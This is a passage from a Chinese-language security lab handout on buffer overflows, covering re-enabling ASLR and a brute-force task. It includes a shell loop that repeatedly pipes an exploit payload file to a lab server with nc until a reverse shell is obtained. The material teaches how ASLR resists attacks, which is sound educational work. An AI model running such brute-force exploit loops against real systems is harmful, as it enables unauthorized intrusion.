章节大纲

  • 在本实验的开始,我们关闭了其中一种防护措施——地址空间布局随机化(ASLR)。在这个任务中,我们将重新启用该功能,并观察它如何影响攻击。你可以在虚拟机上运行以下命令来启用 ASLR。此更改是全局性的,并且将会影响虚拟机内部所有正在运行的容器。
     
    $ sudo /sbin/sysctl -w kernel.randomize_va_space=2
     
    请向第一关和第三关服务器发送一个 hello 消息,多发几次。在你的报告中,请记录你的观察结果,并解释为什么启用 ASLR 使缓冲区溢出攻击会更加困难。
     
    在 32 位 Linux 系统中,可用进行地址随机化的比特数仅为 19 比特。这不够用,如果我们反复运行攻击,则很容易击中目标。对于 64 位系统,用于随机化的比特数显著增加。
     
    在这个任务中,我们将在 32 位的第一关的服务器上尝试此方法。我们将使用暴力方法反复攻击该服务器,希望我们的负载中的地址最终会是正确的。我们将使用在第一关攻击中使用的负载。你可以使用以下 Shell 脚反复攻击目标服务器。如果成功获得反向 shell,脚本会停止。如果你足够幸运,在 10 分钟内应该可以获取到一个反向 shell。
     
    #!/bin/bash
    
    SECONDS=0
    value=0
    while true; do
      value=$(( $value + 1 ))
      duration=$SECONDS
      min=$(($duration / 60))
      sec=$(($duration % 60))
      echo "$min minutes and $sec seconds elapsed."
      echo "The program has been running $value times so far."
      cat badfile | nc 10.9.0.5 9090
    done